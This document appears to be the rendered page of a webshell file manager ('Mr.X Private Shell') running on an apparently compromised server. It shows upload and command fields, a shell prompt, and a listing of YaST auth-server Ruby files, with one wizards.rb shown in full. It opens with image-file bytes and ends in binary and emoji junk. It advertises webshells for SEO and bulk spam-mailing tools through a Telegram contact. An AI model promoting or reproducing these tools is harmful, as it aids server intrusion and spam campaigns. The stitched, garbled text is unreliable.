xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# File:	include/ldap-server/wizards.ycp
# Package:	Configuration of ldap-server
# Summary:	Wizards definitions
# Authors:	Andreas Bauer <abauer@suse.de>
#              Ralf Haferkamp <rhafer@suse.de>
#
# $Id$
module Yast
  module AuthServerWizardsInclude
    def initialize_auth_server_wizards(include_target)
      Yast.import "UI"

      textdomain "auth-server"

      Yast.import "Sequencer"
      Yast.import "Wizard"

      Yast.include include_target, "auth-server/complex.rb"
      Yast.include include_target, "auth-server/dialogs.rb"
    end

    # Main workflow of the ldap-server configuration
    # @return sequence result
    def MainSequence
      # FIXME: adapt to your needs
      aliases = { "tree" => lambda { TreeDialog() }, "writeservice" => lambda do
        WriteServiceDialog()
      end }

      sequence = {
        "ws_start"     => "tree",
        "tree"         => {
          :abort  => :abort,
          :back   => :abort,
          :cancel => :abort,
          :next   => :next,
          :reread => "writeservice",
          :empty  => :empty
        },
        "writeservice" => { :reread => :reread }
      }

      Wizard.SetDesktopTitleAndIcon("auth-server")
      ret = Sequencer.Run(aliases, sequence)
      UI.CloseDialog
      deep_copy(ret)
    end

    def InstProposalSequence
      caption = _("Authentication Server Configuration")
      contents = Label(_("Initializing..."))

      Wizard.CreateDialog
      Wizard.SetDesktopTitleAndIcon("auth-server")
      Wizard.SetContentsButtons(
        caption,
        contents,
        "",
        Label.BackButton,
        Label.NextButton
      )
      Wizard.SetAbortButton(:abort, Label.CancelButton)

      AuthServer.WriteModeInstProposal(true)
      aliases = {
        "startup"      => lambda { EnableServiceDialog() },
        "servertype"   => lambda { ServerTypeDialog() },
        "database"     => lambda { ProposalDialog() },
        "kerberos"     => lambda { KerberosDialog() },
        "kerberos_adv" => lambda { KerberosAdvancedConfiguration() },
        "mastersetup"  => lambda { MasterSetupDialog() },
        "slavesetup"   => lambda { SlaveSetupDialog() }
      }

      sequence = {
        "ws_start"    => "startup",
        "startup"     => {
          :next   => "servertype",
          :abort  => :abort,
          :finish => :disable
        },
        "servertype"  => {
          :next        => "kerberos",
          :slave_setup => "slavesetup",
          :abort       => :abort
        },
        "slavesetup"  => { :next => :next, :abort => :abort },
        "database"    => {
          :mastersetup => "mastersetup",
          :next        => :next,
          :abort       => :abort
        },
        "kerberos"  => {
          :next        => :next,
          :advanced    => "kerberos_adv",
          :abort       => :abort
        },
        "kerberos_adv"       => {
          :abort => :abort,
          :next  => "kerberos",
          :back  => "kerberos"
	},
        "mastersetup" => { :next => :next, :abort => :abort }
      }

      Builtins.y2milestone("--> starting InstProposalSequence")

      ret = Sequencer.Run(aliases, sequence)

      Builtins.y2milestone("<-- InstProposalSequence finished ")

      UI.CloseDialog
      AuthServer.WriteModeInstProposal(false)

      deep_copy(ret)
    end

    def ProposalSequence
      # Initialization dialog caption
      caption = _("Authentication Server Configuration")
      # Initialization dialog contents
      contents = Label(_("Initializing..."))

      Wizard.CreateDialog
      Wizard.SetDesktopTitleAndIcon("auth-server")
      Wizard.SetContentsButtons(
        caption,
        contents,
        "",
        Label.BackButton,
        Label.NextButton
      )

      aliases = {
        "startup"            => lambda { EnableServiceDialog() },
        "servertype"         => lambda { ServerTypeDialog() },
        "kerberos"           => lambda { KerberosDialog() },
        "kerberos_adv"       => lambda { KerberosAdvancedConfiguration() },
        "tlssettings"        => lambda { TlsConfigDialog() },
        "database"           => lambda { ProposalDialog() },
        "summary"            => lambda { SummaryDialog() },
        "advanced"           => lambda { MainSequence() },
        "write"              => lambda { WriteDialog() },
        "slavesetup"         => lambda { SlaveSetupDialog() },
        "mastersetup"        => lambda { MasterSetupDialog() },
        "replicationsummary" => lambda { ReplicatonSetupSummaryDialog() }
      }

      sequence = {
        "ws_start"           => "startup",
        "startup"            => {
          :next   => "servertype",
          :abort  => :abort,
          :finish => :abort
        },
        "servertype"         => {
          :next        => "tlssettings",
          :slave_setup => "slavesetup"
        },
        "slavesetup"         => { :next => "replicationsummary" },
        "replicationsummary" => { :next => "write" },
        "tlssettings"        => { :next => "database" },
        "database"           => {
          :next        => "kerberos",
          :mastersetup => "mastersetup",
          :abort       => :abort
        },
        "mastersetup"        => {
          :next        => "kerberos",
          :abort       => :abort
        },
        "kerberos"           => {
          :next     => "summary",
          :advanced => "kerberos_adv"
        },
        "kerberos_adv"       => {
          :abort => :abort,
          :next  => "kerberos",
          :back  => "kerberos"
        },
        "summary"            => {
          :next     => "write",
          :abort    => :abort,
          :advanced => "advanced"
        },
        "advanced"           => { :abort => :abort, :next => "write" },
        "write"              => { :abort => :abort, :next => :next }
      }

      Builtins.y2milestone("--> starting ProposalSequence")

      ret = Sequencer.Run(aliases, sequence)

      Builtins.y2milestone("<-- ProposalSequence finished ")

      UI.CloseDialog

      deep_copy(ret)
    end

    def MigrateSequence
      # Initialization dialog caption
      caption = _("Authentication Server Configuration")
      # Initialization dialog contents
      contents = Label(_("Initializing..."))


      aliases = {
        "startup"  => lambda { MigrationMainDialog() },
        "proposal" => lambda { ProposalSequence() },
        #        "authconfig"    : ``( MigrationDialog() ),
        "migrate"  => lambda do
          DoMigration()
        end
      }

      sequence = {
        "ws_start" => "startup",
        "startup"  => {
          :abort   => :abort,
          :next    => "migrate",
          :initial => "proposal"
        },
        #        "authconfig"   : $[
        #            `next   : "migrate"
        #        ],
        "migrate"  => {
          :next => :next
        },
        "proposal" => { :next => :next }
      }

      Builtins.y2milestone("--> starting MigrateSequence")

      Wizard.CreateDialog
      Wizard.SetDesktopTitleAndIcon("auth-server")
      ret = Sequencer.Run(aliases, sequence)

      Builtins.y2milestone("--> MigrateSequence finished ")

      UI.CloseDialog

      deep_copy(ret)
    end

    # Whole configuration of ldap-server
    # @return sequence result
    def LdapServerSequence
      aliases = {
        "read"         => lambda { ReadDialog() },
        "migrate"      => lambda { MigrateSequence() },
        "propose"      => lambda { ProposalSequence() },
        "main"         => lambda { MainSequence() },
        "writeservice" => lambda { WriteServiceDialog() },
        "write"        => lambda { WriteDialog() }
      }

      sequence = {
        "ws_start"     => "read",
        "read"         => {
          :abort   => :abort,
          :initial => "propose",
          :migrate => "migrate",
          :next    => "main",
          :reread  => "writeservice"
        },
        "migrate"      => {
          :abort   => :abort,
          :initial => "propose",
          :next    => "main"
        },
        "propose"      => { :next => :next, :abort => :abort },
        "main"         => {
          :abort  => :abort,
          :next   => "write",
          :reread => "read"
        },
        "writeservice" => { :reread => "read" },
        "write"        => { :abort => :abort, :next => :next }
      }

      Wizard.CreateDialog
      Wizard.SetDesktopTitleAndIcon("auth-server")

      ret = Sequencer.Run(aliases, sequence)

      UI.CloseDialog
      deep_copy(ret)
    end

    # Whole configuration of ldap-server but without reading and writing.
    # For use with autoinstallation.
    # @return sequence result
    def LdapServerAutoSequence
      # Initialization dialog caption
      caption = _("Authentication Server Configuration")
      # Initialization dialog contents
      contents = Label(_("Initializing..."))

      Builtins.y2milestone("--> starting LdapServerAutoSequence")

      Wizard.CreateDialog
      Wizard.SetDesktopTitleAndIcon("auth-server")
      Wizard.SetContentsButtons(
        caption,
        contents,
        "",
        Label.BackButton,
        Label.NextButton
      )

      ret = InstProposalSequence()

      UI.CloseDialog

      Builtins.y2milestone("--> LdapServerAutoSequence finished ")

      deep_copy(ret)
    end
  end
end

Filemanager

Name Type Size Permission Actions
complex.rb File 7.63 KB 0644
dialogs.rb File 49.47 KB 0644
helps.rb File 32.92 KB 0644
kerberos_advanced.rb File 59.67 KB 0644
mirrormode-wizard.rb File 6.69 KB 0644
tree_structure.rb File 46.5 KB 0644
widgets.rb File 17.46 KB 0644
wizards.rb File 9.18 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1